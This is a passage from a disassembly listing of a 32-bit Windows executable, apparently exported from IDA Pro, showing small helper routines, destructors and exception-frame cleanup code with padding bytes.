retn 8 sub_4160C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401EA6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4160F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416120 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017D5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DA2 sub_416120 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017D5 push edi mov [eax], ebx call sub_4017D5 mov edi, [eax] push edi call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017DA add esp, 4 mov ecx, esi push eax call sub_401DFC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D66 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4161C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EA1 mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BB8 push esi mov ebx, eax call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [ebx] push esi mov [eax], edx call sub_4017D5 push esi mov ebx, eax call sub_401BB8 mov eax, [eax] push eax call sub_4017D5 mov ecx, [ebx] push esi mov [eax], ecx call sub_4017DA add esp, 1Ch mov ecx, edi push eax call sub_4013F7 push esi mov ecx, edi call sub_401EF6 sub_4161C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416280 proc near ; CODE XREF: sub_401401j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4162DA loc_416298: ; CODE XREF: sub_416280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EA1 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4162DA: ; CODE XREF: sub_416280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416310 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401E9C sub_416310 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416325 mov edi, esi loc_416325: ; CODE XREF: ___:00416321j push esi call sub_401BB8 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41633A mov edi, esi loc_41633A: ; CODE XREF: ___:00416336j push esi call sub_4017D5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416360 proc near ; CODE XREF: sub_401EF6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401857 sub_416360 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_401BB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163A0 proc near ; CODE XREF: sub_4017DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4163A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163C0 proc near ; CODE XREF: sub_401E29j mov eax, ecx retn sub_4163C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163E0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40160E mov eax, esi pop esi retn 4 sub_4163E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416410 proc near ; CODE XREF: sub_401EA1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416440 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416440 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416470 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416490 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416490 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4164C0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_4164C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416550 proc near ; CODE XREF: sub_401A4Bj mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_416550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4020EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416570 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165A0 proc near ; CODE XREF: sub_401CA8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E56 neg al sbb eax, eax inc eax retn 4 sub_4165A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_401C4Ej mov eax, [ecx] retn sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4165F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416610 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416610 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416640 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416640 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_402040 add esp, 8 retn 8 sub_416660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401D4Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4166B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401F6Ej mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_401857j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020CC add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_401E56j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4167F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41683B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41683B: ; CODE XREF: sub_416820+11j retn sub_416820 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416870 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41688B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41688B: ; CODE XREF: sub_416870+11j retn sub_416870 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4168DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4168DB: ; CODE XREF: sub_4168C0+11j retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db '',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: ___:00401C44j push 0FFFFFFFFh push offset loc_439FE1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021DA ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401EE2 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_40176C lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_401FF5 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401DED lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_40187A lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F28 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B27 lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017D0 lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018CA lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401EB0 lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402216 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017A3 lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A23 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C0 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401E83 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AE6 ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401C8F ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401929 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_40143D mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C00 proc near ; CODE XREF: sub_401A23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43E050 test eax, eax jle short loc_416C17 push eax call near ptr 71AB9639h nop loc_416C17: ; CODE XREF: sub_416C00+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A23 test [esp+4+arg_0], 1 jz short loc_416C48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416C48: ; CODE XREF: sub_416C30+Dj mov eax, esi pop esi retn 4 sub_416C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_4017A3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43E05C test eax, eax jle short loc_416C77 push eax nop call near ptr 71AB9639h loc_416C77: ; CODE XREF: sub_416C60+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416C90: ; CODE XREF: ___:00401627j ; ___:loc_401C99j push esi mov esi, ecx call sub_4017A3 test byte ptr [esp+8], 1 jz short loc_416CA8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CA8: ; CODE XREF: ___:00416C9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416CC0 proc near ; CODE XREF: sub_40176Cj mov dword ptr [ecx], offset off_43E068 jmp sub_402031 sub_416CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: ___:loc_40191Aj ; ___:0040218Aj push esi mov esi, ecx call sub_40176C test byte ptr [esp+8], 1 jz short loc_416CF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CF8: ; CODE XREF: ___:00416CEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43E074 add ecx, 4 jmp sub_401023 sub_416D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D30: ; CODE XREF: ___:00401E42j push 0FFFFFFFFh push offset loc_43A1C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_40209F ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015DC lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401FFA ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_4019F1 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40157D lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_401645 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401776 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_401695 lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_401820 lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016B3 lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_401415 lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D11 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A7D lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CA3 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402103 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_401573 lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_40178F lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_401424 lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_401424 lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_401424 lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_401424 lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416FB0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B09 sub_416FB0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417020 proc near ; CODE XREF: sub_401929j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40206D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40206D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40206D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40206D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40206D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AD2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AD2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AD2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AD2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AD2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AD2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AD2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AD2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AD2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AD2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AD2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AD2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AD2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AD2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AD2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AD2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AD2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AD2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AD2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AD2 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AD2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AD2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AD2 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AD2 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AD2 lea ecx, 